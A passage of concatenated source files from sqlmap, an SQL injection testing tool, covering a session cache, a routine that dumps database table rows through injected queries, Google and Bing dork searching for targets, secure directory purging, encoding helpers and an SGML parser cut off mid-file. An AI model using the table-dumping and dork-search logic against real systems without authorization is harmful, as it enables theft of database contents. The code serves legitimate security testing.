getPublicTypeMembers(HASH, True)) if ':' in line and check is False: user, hash_ = line.split(':', 1) attack_dict[user] = [hash_] else: attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [line] i += 1 dictionaryAttack(attack_dict) ================================================ FILE: lib/utils/hashdb.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import hashlib import os import sqlite3 import struct import threading import time from lib.core.common import getSafeExString from lib.core.common import serializeObject from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import logger from lib.core.datatype import LRUDict from lib.core.exception import SqlmapConnectionException from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES from lib.core.settings import HASHDB_FLUSH_THRESHOLD_ITEMS from lib.core.settings import HASHDB_FLUSH_THRESHOLD_TIME from lib.core.settings import HASHDB_RETRIEVE_RETRIES from lib.core.settings import IS_PYPY from lib.core.threads import getCurrentThreadData from thirdparty import six class HashDB(object): def __init__(self, filepath): self.filepath = filepath self._write_cache = {} self._read_cache = LRUDict(capacity=100) self._cache_lock = threading.Lock() self._connections = [] self._last_flush_time = time.time() def _get_cursor(self): threadData = getCurrentThreadData() if threadData.hashDBCursor is None: try: connection = sqlite3.connect(self.filepath, timeout=10, isolation_level=None, check_same_thread=False) if not IS_PYPY: connection.execute("PRAGMA journal_mode=WAL") connection.execute("PRAGMA synchronous=NORMAL") connection.execute("PRAGMA busy_timeout=10000") self._connections.append(connection) threadData.hashDBCursor = connection.cursor() threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") connection.commit() except Exception as ex: errMsg = "error occurred while opening a session " errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) return threadData.hashDBCursor def _set_cursor(self, cursor): threadData = getCurrentThreadData() threadData.hashDBCursor = cursor cursor = property(_get_cursor, _set_cursor) def close(self): threadData = getCurrentThreadData() try: if threadData.hashDBCursor: if self._write_cache: self.flush() threadData.hashDBCursor.close() threadData.hashDBCursor.connection.close() threadData.hashDBCursor = None except: pass def closeAll(self): if self._write_cache: self.flush() for connection in self._connections: try: connection.close() except: pass @staticmethod def hashKey(key): key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace") retVal = struct.unpack("<Q", hashlib.md5(key).digest()[:8])[0] & 0x7fffffffffffffff return retVal def retrieve(self, key, unserialize=False): retVal = None if key and (self._write_cache or self._connections or os.path.isfile(self.filepath)): hash_ = HashDB.hashKey(key) retVal = self._write_cache.get(hash_) if retVal is None: retVal = self._read_cache.get(hash_) if not retVal: for _ in xrange(HASHDB_RETRIEVE_RETRIES): try: for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)): retVal = row[0] except (sqlite3.OperationalError, sqlite3.DatabaseError) as ex: if any(_ in getSafeExString(ex) for _ in ("locked", "no such table")): warnMsg = "problem occurred while accessing session file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) singleTimeWarnMessage(warnMsg) elif "Could not decode" in getSafeExString(ex): break else: errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) errMsg += "If the problem persists please rerun with '--flush-session'" raise SqlmapConnectionException(errMsg) else: break time.sleep(1) if retVal is not None: self._read_cache[hash_] = retVal if retVal and unserialize: try: retVal = unserializeObject(retVal) except: retVal = None warnMsg = "error occurred while unserializing value for session key '%s'. " % key warnMsg += "If the problem persists please rerun with '--flush-session'" logger.warning(warnMsg) return retVal def write(self, key, value, serialize=False): if key: hash_ = HashDB.hashKey(key) with self._cache_lock: try: self._write_cache[hash_] = self._read_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) except RecursionError: pass finally: cache_size = len(self._write_cache) time_since_flush = time.time() - self._last_flush_time if cache_size >= HASHDB_FLUSH_THRESHOLD_ITEMS or time_since_flush >= HASHDB_FLUSH_THRESHOLD_TIME: self.flush() def flush(self): with self._cache_lock: if not self._write_cache: return flush_cache = self._write_cache self._write_cache = {} self._last_flush_time = time.time() try: self.beginTransaction() for hash_, value in flush_cache.items(): retries = 0 while True: try: try: self.cursor.execute("INSERT INTO storage VALUES (?, ?)", (hash_, value,)) except sqlite3.IntegrityError: self.cursor.execute("UPDATE storage SET value=? WHERE id=?", (value, hash_,)) except (UnicodeError, OverflowError): # e.g. surrogates not allowed (Issue #3851) break except sqlite3.DatabaseError as ex: if not os.path.exists(self.filepath): debugMsg = "session file '%s' does not exist" % self.filepath logger.debug(debugMsg) break # NOTE: skipping the retries == 0 for graceful resolution of multi-threaded runs if retries == 1: warnMsg = "there has been a problem while writing to " warnMsg += "the session file ('%s')" % getSafeExString(ex) logger.warning(warnMsg) if retries >= HASHDB_FLUSH_RETRIES: return else: retries += 1 time.sleep(1) else: break finally: self.endTransaction() def beginTransaction(self): threadData = getCurrentThreadData() if not threadData.inTransaction: try: self.cursor.execute("BEGIN TRANSACTION") except: try: # Reference: http://stackoverflow.com/a/25245731 self.cursor.close() except sqlite3.ProgrammingError: pass threadData.hashDBCursor = None self.cursor.execute("BEGIN TRANSACTION") finally: threadData.inTransaction = True def endTransaction(self): threadData = getCurrentThreadData() if threadData.inTransaction: retries = 0 while retries < HASHDB_END_TRANSACTION_RETRIES: try: self.cursor.execute("END TRANSACTION") threadData.inTransaction = False except sqlite3.OperationalError: pass except sqlite3.ProgrammingError: self.cursor = None threadData.inTransaction = False return else: return retries += 1 time.sleep(1) try: self.cursor.execute("ROLLBACK TRANSACTION") except sqlite3.OperationalError: self.cursor.close() self.cursor = None finally: threadData.inTransaction = False ================================================ FILE: lib/utils/pivotdumptable.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.settings import MAX_INT from lib.core.settings import NULL from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.unescaper import unescaper from lib.request import inject from lib.utils.safe2bin import safechardecode from thirdparty.six import unichr as _unichr def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths = {} entries = {} dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind validColumnList = False validPivotValue = False if count is None: query = dumpNode.count % table query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) if hasattr(count, "isdigit") and count.isdigit(): count = int(count) if count == 0: infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) for column in colList: lengths[column] = len(column) entries[column] = [] return entries, lengths elif not isNumPosStrValue(count): return None for column in colList: lengths[column] = 0 entries[column] = BigArray() colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: for _ in colList: if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I): infoMsg = "using column '%s' as a pivot " % conf.pivotColumn infoMsg += "for retrieving row data" logger.info(infoMsg) colList.remove(_) colList.insert(0, _) validPivotValue = True break if not validPivotValue: warnMsg = "column '%s' not " % conf.pivotColumn warnMsg += "found in table '%s'" % table logger.warning(warnMsg) if not validPivotValue: for column in colList: infoMsg = "fetching number of distinct " infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "") logger.info(infoMsg) query = dumpNode.count2 % (column, table) query = agent.whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): validColumnList = True if value == count: infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "") infoMsg += "for retrieving row data" logger.info(infoMsg) validPivotValue = True colList.remove(column) colList.insert(0, column) break if not validColumnList: errMsg = "all provided column name(s) are non-existent" raise SqlmapNoneDataException(errMsg) if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" logger.warning(warnMsg) pivotValue = " " breakRetrieval = False def _(column, pivotValue): if column == colList[0]: query = dumpNode.query.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) else: query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False) if SINGLE_QUOTE_MARKER not in dumpNode.query2 else pivotValue) query = agent.whereQuery(query) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) try: for i in xrange(count): if breakRetrieval: break for column in colList: value = _(column, pivotValue) if column == colList[0]: if isNoneValue(value): try: for pivotValue in filterNone((" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], _unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, _unichr(ord(pivotValue[0]) + 1))): value = _(column, pivotValue) if not isNoneValue(value): break except ValueError: pass if isNoneValue(value) or value == NULL: breakRetrieval = True break pivotValue = safechardecode(value) if conf.limitStart or conf.limitStop: if conf.limitStart and (i + 1) < conf.limitStart: warnMsg = "skipping first %d pivot " % conf.limitStart warnMsg += "point values" singleTimeWarnMessage(warnMsg) break elif conf.limitStop and (i + 1) > conf.limitStop: breakRetrieval = True break value = "" if isNoneValue(value) else unArrayizeValue(value) lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warning(warnMsg) except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex) errMsg += "will display partial output" logger.critical(errMsg) return entries, lengths ================================================ FILE: lib/utils/progress.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import time from lib.core.common import dataToStdout from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb class ProgressBar(object): """ This class defines methods to update and draw a progress bar """ def __init__(self, minValue=0, maxValue=10, totalWidth=None): self._progBar = "[]" self._min = int(minValue) self._max = int(maxValue) self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 self._start = None self.update() def _convertSeconds(self, value): seconds = value minutes = seconds // 60 seconds = seconds - (minutes * 60) return "%.2d:%.2d" % (minutes, seconds) def update(self, newAmount=0): """ This method updates the progress bar """ if newAmount < self._min: newAmount = self._min elif newAmount > self._max: newAmount = self._max self._amount = newAmount # Figure out the new percent done, round to an integer diffFromMin = float(self._amount - self._min) percentDone = (diffFromMin / float(self._span)) * 100.0 percentDone = round(percentDone) percentDone = min(100, int(percentDone)) # Figure out how many hash bars the percentage should be allFull = self._width - len("100%% [] %s/%s (ETA 00:00)" % (self._max, self._max)) numHashes = (percentDone / 100.0) * allFull numHashes = int(round(numHashes)) # Build a progress bar with an arrow of equal signs if numHashes == 0: self._progBar = "[>%s]" % (" " * (allFull - 1)) elif numHashes == allFull: self._progBar = "[%s]" % ("=" * allFull) else: self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes)) # Add the percentage at the beginning of the progress bar percentString = getUnicode(percentDone) + "%" self._progBar = "%s %s" % (percentString, self._progBar) def progress(self, newAmount): """ This method saves item delta time and shows updated progress bar with calculated eta """ if self._start is None or newAmount > self._max: self._start = time.time() eta = None else: delta = time.time() - self._start eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta self.update(newAmount) self.draw(eta) def draw(self, eta=None): """ This method draws the progress bar if it has changed """ dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) if self._amount >= self._max: dataToStdout("\r%s\r" % (" " * self._width)) kb.prependFlag = False def __str__(self): """ This method returns the progress bar string """ return getUnicode(self._progBar) ================================================ FILE: lib/utils/purge.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import functools import os import random import shutil import stat import string from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import logger from thirdparty.six import unichr as _unichr def purge(directory): """ Safely removes content from a given directory """ if not os.path.isdir(directory): warnMsg = "skipping purging of directory '%s' as it does not exist" % directory logger.warning(warnMsg) return infoMsg = "purging content of directory '%s'..." % directory logger.info(infoMsg) filepaths = [] dirpaths = [] for rootpath, directories, filenames in os.walk(directory): dirpaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in directories) filepaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in filenames) logger.debug("changing file attributes") for filepath in filepaths: try: os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE) except: pass logger.debug("writing random data to files") for filepath in filepaths: try: filesize = os.path.getsize(filepath) with openFile(filepath, "w+") as f: f.write("".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize))) except: pass logger.debug("truncating files") for filepath in filepaths: try: with open(filepath, 'w') as f: pass except: pass logger.debug("renaming filenames to random values") for filepath in filepaths: try: os.rename(filepath, os.path.join(os.path.dirname(filepath), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass dirpaths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) logger.debug("renaming directory names to random values") for dirpath in dirpaths: try: os.rename(dirpath, os.path.join(os.path.dirname(dirpath), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass logger.debug("deleting the whole directory tree") try: shutil.rmtree(directory) except OSError as ex: logger.error("problem occurred while removing directory '%s' ('%s')" % (getUnicode(directory), getSafeExString(ex))) ================================================ FILE: lib/utils/safe2bin.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import binascii import re import string import sys PY3 = sys.version_info >= (3, 0) if PY3: xrange = range text_type = str string_types = (str,) unichr = chr else: text_type = unicode string_types = (basestring,) # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})" # Raw chars that will be safe encoded to their slash (\) representations (e.g. newline to \n) SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c" # Characters that don't need to be safe encoded SAFE_CHARS = "".join([_ for _ in string.printable.replace('\\', '') if _ not in SAFE_ENCODE_SLASH_REPLACEMENTS]) # Prefix used for hex encoded values HEX_ENCODED_PREFIX = r"\x" # Strings used for temporary marking of hex encoded prefixes (to prevent double encoding) HEX_ENCODED_PREFIX_MARKER = "__HEX_ENCODED_PREFIX__" # String used for temporary marking of slash characters SLASH_MARKER = "__SLASH__" def safecharencode(value): """ Returns safe representation of a given basestring value >>> safecharencode(u'test123') == u'test123' True >>> safecharencode(u'test\x01\x02\xaf') == u'test\\\\x01\\\\x02\\xaf' True """ retVal = value if isinstance(value, string_types): if any(_ not in SAFE_CHARS for _ in value): retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER) retVal = retVal.replace('\\', SLASH_MARKER) for char in SAFE_ENCODE_SLASH_REPLACEMENTS: retVal = retVal.replace(char, repr(char).strip('\'')) for char in set(retVal): if not (char in string.printable or isinstance(value, text_type) and ord(char) >= 160): retVal = retVal.replace(char, '\\x%02x' % ord(char)) retVal = retVal.replace(SLASH_MARKER, "\\\\") retVal = retVal.replace(HEX_ENCODED_PREFIX_MARKER, HEX_ENCODED_PREFIX) elif isinstance(value, list): for i in xrange(len(value)): retVal[i] = safecharencode(value[i]) return retVal def safechardecode(value, binary=False): """ Reverse function to safecharencode """ retVal = value if isinstance(value, string_types): retVal = retVal.replace('\\\\', SLASH_MARKER) while True: match = re.search(HEX_ENCODED_CHAR_REGEX, retVal) if match: retVal = retVal.replace(match.group("result"), unichr(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) else: break for char in SAFE_ENCODE_SLASH_REPLACEMENTS[::-1]: retVal = retVal.replace(repr(char).strip('\''), char) retVal = retVal.replace(SLASH_MARKER, '\\') if binary: if isinstance(retVal, text_type): retVal = retVal.encode("utf8", errors="surrogatepass" if PY3 else "strict") elif isinstance(value, (list, tuple)): for i in xrange(len(value)): retVal[i] = safechardecode(value[i]) return retVal ================================================ FILE: lib/utils/search.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re import socket from lib.core.common import getSafeExString from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import urlencode from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import BING_REGEX from lib.core.settings import DUCKDUCKGO_REGEX from lib.core.settings import DUMMY_SEARCH_USER_AGENT from lib.core.settings import GOOGLE_CONSENT_COOKIE from lib.core.settings import GOOGLE_REGEX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks def _search(dork): """ This method performs the effective search on Google providing the google dork and the Google session cookie """ if not dork: return None page = None data = None requestHeaders = {} responseHeaders = {} requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE requestHeaders[HTTP_HEADER.COOKIE] = GOOGLE_CONSENT_COOKIE try: req = _urllib.request.Request("https://www.google.com/ncr", headers=requestHeaders) conn = _urllib.request.urlopen(req) except Exception as ex: errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) raise SqlmapConnectionException(errMsg) gpage = conf.googlePage if conf.googlePage > 1 else 1 logger.info("using search result page #%d" % gpage) url = "https://www.google.com/search?" # NOTE: if consent fails, try to use the "http://" url += "q=%s&" % urlencode(dork, convall=True) url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" url += "&start=%d" % ((gpage - 1) * 100) try: req = _urllib.request.Request(url, headers=requestHeaders) conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) except _urllib.error.HTTPError as ex: try: page = ex.read() responseHeaders = ex.info() except Exception as _: warnMsg = "problem occurred while trying to get " warnMsg += "an error page information (%s)" % getSafeExString(_) logger.critical(warnMsg) return None except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError): errMsg = "unable to connect to Google" raise SqlmapConnectionException(errMsg) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] if not retVal and "detected unusual traffic" in page: warnMsg = "Google has detected 'unusual' traffic from " warnMsg += "used IP address disabling further searches" if conf.proxyList: raise SqlmapBaseException(warnMsg) else: logger.critical(warnMsg) if not retVal: message = "no usable links found. What do you want to do?" message += "\n[1] (re)try with DuckDuckGo (default)" message += "\n[2] (re)try with Bing" message += "\n[3] quit" choice = readInput(message, default='1') if choice == '3': raise SqlmapUserQuitException elif choice == '2': url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1) regex = BING_REGEX else: url = "https://html.duckduckgo.com/html/" data = "q=%s&s=%d" % (urlencode(dork, convall=True), (gpage - 1) * 30) regex = DUCKDUCKGO_REGEX try: req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders) conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) except _urllib.error.HTTPError as ex: try: page = ex.read() page = decodePage(page, ex.headers.get("Content-Encoding"), ex.headers.get("Content-Type")) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % ex.code logger.critical(warnMsg) return None except: errMsg = "unable to connect" raise SqlmapConnectionException(errMsg) page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) retVal = [_urllib.parse.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] if not retVal and "issue with the Tor Exit Node you are currently using" in page: warnMsg = "DuckDuckGo has detected 'unusual' traffic from " warnMsg += "used (Tor) IP address" if conf.proxyList: raise SqlmapBaseException(warnMsg) else: logger.critical(warnMsg) return retVal @stackedmethod def search(dork): pushValue(kb.choices.redirect) kb.choices.redirect = REDIRECTION.YES try: return _search(dork) except SqlmapBaseException as ex: if conf.proxyList: logger.critical(getSafeExString(ex)) warnMsg = "changing proxy" logger.warning(warnMsg) conf.proxy = None setHTTPHandlers() return search(dork) else: raise finally: kb.choices.redirect = popValue() def setHTTPHandlers(): # Cross-referenced function raise NotImplementedError ================================================ FILE: lib/utils/sgmllib.py ================================================ """A parser for SGML, using the derived class as a static DTD.""" # Note: missing in Python3 # XXX This only supports those SGML features used by HTML. # XXX There should be a way to distinguish between PCDATA (parsed # character data -- the normal case), RCDATA (replaceable character # data -- only char and entity references and end tags are special) # and CDATA (character data -- only end tags are special). RCDATA is # not supported at all. from __future__ import print_function try: import _markupbase as markupbase except: import markupbase import re __all__ = ["SGMLParser", "SGMLParseError"] # Regular expressions used for parsing interesting = re.compile('[&<]') incomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|' '<([a-zA-Z][^<>]*|' '/([a-zA-Z][^<>]*)?|' '![^<>]*)?') entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]') charref = re.compile('&#([0-9]+)[^0-9]') starttagopen = re.compile('<[>a-zA-Z]') shorttagopen = re.compile('<[a-zA-Z][-.a-zA-Z0-9]*/') shorttag = re.compile('<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/') piclose = re.compile('>') endbracket = re.compile('[<>]') tagfind = re.compile('[a-zA-Z][-_.a-zA-Z0-9]*') attrfind = re.compile( r'\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*' r'(\'[^\']*\'|"[^"]*"|[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*))?') class SGMLParseError(RuntimeError): """Exception raised for all parse errors.""" pass # SGML parser base class -- find tags and call handler functions. # Usage: p = SGMLParser(); p.feed(data); ...; p.close(). # The dtd is defined by deriving a class which defines methods # with special names to handle tags: start_foo and end_foo to handle # <foo> and </foo>, respectively, or do_foo to handle <foo> by itself. # (Tags are converted to lower case for this purpose.) The data # between tags is passed to the parser by calling self.handle_data() # with some data as argument (the data may be split up in arbitrary # chunks). Entity references are passed by calling # self.handle_entityref() with the entity reference as argument. class SGMLParser(markupbase.ParserBase): # Definition of entities -- derived classes may override entity_or_charref = re.compile('&(?:' '([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)' ')(;?)') def __init__(self, verbose=0): """Initialize and reset this instance.""" self.verbose = verbose self.reset() def reset(self): """Reset this instance. Loses all unprocessed data.""" self.__starttag_text = None self.rawdata = '' self.stack = [] self.lasttag = '???' self.nomoretags = 0 self.literal = 0 markupbase.ParserBase.reset(self) def setnomoretags(self): """Enter literal mode (CDATA) till EOF. Intended for derived classes only. """ self.nomoretags = self.literal = 1 def setliteral(self, *args): """Enter literal mode (CDATA). Intended for derived classes only. """ self.literal = 1 def feed(self, data): """Feed some data to the parser. Call this as often as you want, with as little or as much text as you want (may include '\n'). (This just saves the text, all the processing is done by goahead().) """ self.rawdata = self.rawdata + data self.goahead(0) def close(self): """Handle the remaining data.""" self.goahead(1) def error(self, message): raise SGMLParseError(message) # Internal -- handle data as far as reasonable. May leave state # and data to be processed by a subsequent call. If 'end' is # true, force handling all data as if followed by EOF marker. def goahead(self, end): rawdata = self.rawdata i = 0 n = len(rawdata) while i < n: if self.nomoretags: self.handle_data(rawdata[i:n]) i = n break match = interesting.search(rawdata, i) if match: j = match.start() else: j = n if i < j: self.handle_data(rawdata[i:j]) i = j if i == n: break if rawdata[i] == '<': if starttagopen.match(rawdata, i): if self.literal: self.handle_data(rawdata[i]) i = i + 1 continue k = self.parse_starttag(i) if k < 0: break i = k continue if rawdata.startswith("</", i): k = self.parse_endtag(i) if k < 0: break i = k self.literal = 0 continue if self.literal: if n > (i + 1): self.handle_data("<") i = i + 1 else: # incomplete break continue if rawdata.startswith("<!--", i): # Strictly speaking, a comment is --.*-- # within a declaration tag <!...>. # This should be removed, # and comments handled only in parse_declaration. k = self.parse_comment(i) if k < 0: break i = k continue if rawdata.startswith("<?", i): k = self.parse_pi(i) if k < 0: break i = i + k continue if rawdata.startswith("<!", i): # This is some sort of declaration; in "HTML as # deployed," this should only be the document type # declaration ("<!DOCTYPE html...>"). k = self.parse_declaration(i) if k < 0: break i = k continue elif rawdata[i] == '&': if self.literal: self.handle_data(rawdata[i]) i = i + 1 continue match = charref.match(rawdata, i) if match: name = match.group(1) self.handle_charref(name) i = match.end(0) if rawdata[i - 1] != ';': i = i - 1 continue match = entityref.match(rawdata, i) if match: name = match.group(1) self.handle_entityref(name) i = match.end(0) if rawdata[i - 1] != ';': i = i - 1 continue else: self.error('neither < nor & ??') # We get here only if incomplete matches but # nothing else match = incomplete.match(rawdata, i) if not match: self.handle_data(rawdata[i]) i = i + 1 continue j = match.end(0) if j == n: break # Really incomplete self.handle_data(rawdata[i:j]) i = j # end while if end and i < n: self.handle_data(rawdata[i:n]) i = n self.rawdata = rawdata[i:] # XXX if end: check for empty stack # Extensions for the DOCTYPE scanner: _decl_otherchars = '=' # Internal -- parse processing instr, return length or -1 if not terminated def parse_pi(self, i): rawdata = self.rawdata if rawdata[i:i + 2] != '<?': self.error('unexpected call to parse_pi()') match = piclose.search(rawdata, i + 2) if not match: return -1 j = match.start(0) self.handle_pi(rawdata[i + 2: j]) j = match.end(0) return j - i def get_starttag_text(self): return self.__starttag_text # Internal -- handle starttag, return length or -1 if not terminated def parse_starttag(self, i): self.__starttag_text = None start_pos = i rawdata = self.rawdata if shorttagopen.match(rawdata, i): # SGML shorthand: <tag/data/ == <tag>data</tag> # XXX Can data contain &... (entity or char refs)? # XXX Can data contain < or > (tag characters)? # XXX Can there be whitespace before the first /? match = shorttag.match(rawdata, i) if not match: return -1 tag, data = match.group(1, 2) self.__starttag_text = '<%s/' % tag tag = tag.lower() k = match.end(0) self.finish_shorttag(tag, data) self.__starttag_text = rawdata[start_pos:match.end(1) + 1] return k # XXX The following should skip matching quotes (' or ") # As a shortcut way to exit, this isn't so bad, but shouldn't # be used to locate the actual end of the start tag since the # < or > characters may be embedded in an attribute value. match = endbracket.search(rawdata, i + 1) if not match: return -1 j = match.start(0) # Now parse the data between i + 1 and j into a tag and attrs attrs = [] if rawdata[i:i + 2] == '<>': # SGML shorthand: <> == <last open tag seen> k = j tag = self.lasttag else: match = tagfind.match(rawdata, i + 1) if not match: self.error('unexpected call to parse_starttag') k = match.end(0) tag = rawdata[i + 1:k].lower() self.lasttag = tag while k < j: match = attrfind.match(rawdata, k) if not match: break attrname, rest, attrvalue = match.group(1, 2, 3) if not rest: attrvalue = attrname else: if (attrvalue[:1] == "'" == attrvalue[-1:] or attrvalue[:1] == '"' == attrvalue[-1:]): # strip quotes 